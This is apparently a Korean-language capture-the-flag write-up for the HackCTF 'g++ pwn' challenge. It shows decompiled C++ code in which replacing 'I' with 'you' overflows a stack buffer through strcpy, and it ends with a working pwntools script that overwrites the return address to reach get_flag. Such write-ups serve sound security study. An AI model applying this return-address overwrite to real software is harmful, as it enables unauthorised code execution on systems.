Posts HackCTF g++ pwn
Post
Cancel

HackCTF g++ pwn

g++ pwn

1
2
3
4
5
6
7
  pwnable git:(master)  checksec --file gpwn
[*] '/home/ubuntu/CTF/hackctf/pwnable/gpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
int get_flag()
{
  return system("cat flag.txt");
}

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]
  char v5[4]; // [esp+10h] [ebp-48h] BYREF
  char v6[7]; // [esp+14h] [ebp-44h] BYREF
  char v7; // [esp+1Bh] [ebp-3Dh] BYREF
  int v8; // [esp+1Ch] [ebp-3Ch]
  char v9[4]; // [esp+20h] [ebp-38h] BYREF
  int v10; // [esp+24h] [ebp-34h] BYREF
  int v11; // [esp+28h] [ebp-30h] BYREF
  char v12; // [esp+2Fh] [ebp-29h] BYREF
  int v13[2]; // [esp+30h] [ebp-28h] BYREF
  char v14[4]; // [esp+38h] [ebp-20h] BYREF
  int v15; // [esp+3Ch] [ebp-1Ch]
  char v16[4]; // [esp+40h] [ebp-18h] BYREF
  int v17; // [esp+44h] [ebp-14h] BYREF
  char v18[4]; // [esp+48h] [ebp-10h] BYREF
  char v19[8]; // [esp+4Ch] [ebp-Ch] BYREF

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);          // find(input, "I", 0)
    std::string::begin((std::string *)v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)v13);
    v13[1] = std::string::length(a3);
    v15 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v16);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char>((std::string *)v19);
    std::operator+<char>((std::string *)v18);
    std::string::operator=(a2, v18, v5, v4);
    std::string::~string(v18);
    std::string::~string(v19);
    std::string::~string(v5);
    std::string::~string(v6);
  }
  std::string::string(a1, a2);
  return a1;
}

int vuln()
{
  const char *v0; // eax
  int v2; // [esp+8h] [ebp-50h]
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v5[7]; // [esp+40h] [ebp-18h] BYREF
  char v6; // [esp+47h] [ebp-11h] BYREF
  char v7[7]; // [esp+48h] [ebp-10h] BYREF
  char v8[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);                          // 32byte input
  std::string::operator=(&input, s);            // input = s
  std::allocator<char>::allocator(&v6);         // string v6;
  std::string::string(v5, "you", &v6);          // v5 = "you";
  std::allocator<char>::allocator(v8);          // string v8;
  std::string::string(v7, "I", v8);             // v7 = "I";
  replace((std::string *)v4, (std::string *)&input, (std::string *)v7);// input, I
  std::string::operator=(&input, v4, v2, v5);
  std::string::~string(v4);
  std::string::~string(v7);
  std::allocator<char>::~allocator(v8);
  std::string::~string(v5);
  std::allocator<char>::~allocator(&v6);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

Solve

아 C++ 문제 개복잡하다. 슬슬 익혀야겠지..

vuln에서 s에 32바이트 만큼 입력을 받고 그걸 input에 옮긴다. 그리고 replace 함수를 이용해 I를 you로 바꾼다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]
  char v5[4]; // [esp+10h] [ebp-48h] BYREF
  char v6[7]; // [esp+14h] [ebp-44h] BYREF
  char v7; // [esp+1Bh] [ebp-3Dh] BYREF
  int v8; // [esp+1Ch] [ebp-3Ch]
  char v9[4]; // [esp+20h] [ebp-38h] BYREF
  int v10; // [esp+24h] [ebp-34h] BYREF
  int v11; // [esp+28h] [ebp-30h] BYREF
  char v12; // [esp+2Fh] [ebp-29h] BYREF
  int v13[2]; // [esp+30h] [ebp-28h] BYREF
  char v14[4]; // [esp+38h] [ebp-20h] BYREF
  int v15; // [esp+3Ch] [ebp-1Ch]
  char v16[4]; // [esp+40h] [ebp-18h] BYREF
  int v17; // [esp+44h] [ebp-14h] BYREF
  char v18[4]; // [esp+48h] [ebp-10h] BYREF
  char v19[8]; // [esp+4Ch] [ebp-Ch] BYREF

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);          // find(input, "I", 0)
    std::string::begin((std::string *)v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)v13);
    v13[1] = std::string::length(a3);
    v15 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v16);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char>((std::string *)v19);
    std::operator+<char>((std::string *)v18);
    std::string::operator=(a2, v18, v5, v4);
    std::string::~string(v18);
    std::string::~string(v19);
    std::string::~string(v5);
    std::string::~string(v6);
  }
  std::string::string(a1, a2);
  return a1;
}

하지만 replace 함수가 개복잡하다. 처음엔 이걸 보고 쫄았고 상당히 오랫동안 멀리했다. 생성자 소멸자를 안보더라도 복잡하게 보인다. 정확한 기능은 “I”를 “you”로 바꾼다는 것이다.

1
2
3
4
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

그리고 메인함수 마지막에 input을 v0에 넣고 strcpy로 s에 저장한다.

이 때 BoF가 발생한다. 이것을 이용해 get_flag를 ret에 넣으면 된다.

32비트 바이너리이기 때문에 페이로드는 간단하다 버퍼의 길이만 잘 재면 된다.

vuln함수의 스택 크기는 0x88 이나 입력받는 부분부터의 스택은 68바이트(s + SFP, RET)이다.

64바이트를 you로 채우고 RET에 get_flag주소를 넣으면 된다.

64를 3으로 나누면 1이 남으므로 문자 하나를 채워준다.

from pwn import *

#context.arch = 'i386'
#context.terminal=['tmux', 'splitw', '-h']
#p = process("./gpwn")
p = remote('ctf.j0n9hyun.xyz', 3011)
get_flag = 0x8048f0d
#gdb.attach(p, 'b*0x04009c9')

payload = ''
payload += "A"
payload += "I"*21
payload += p32(get_flag)

p.sendline(payload)
p.interactive()
This post is licensed under CC BY 4.0 by the author.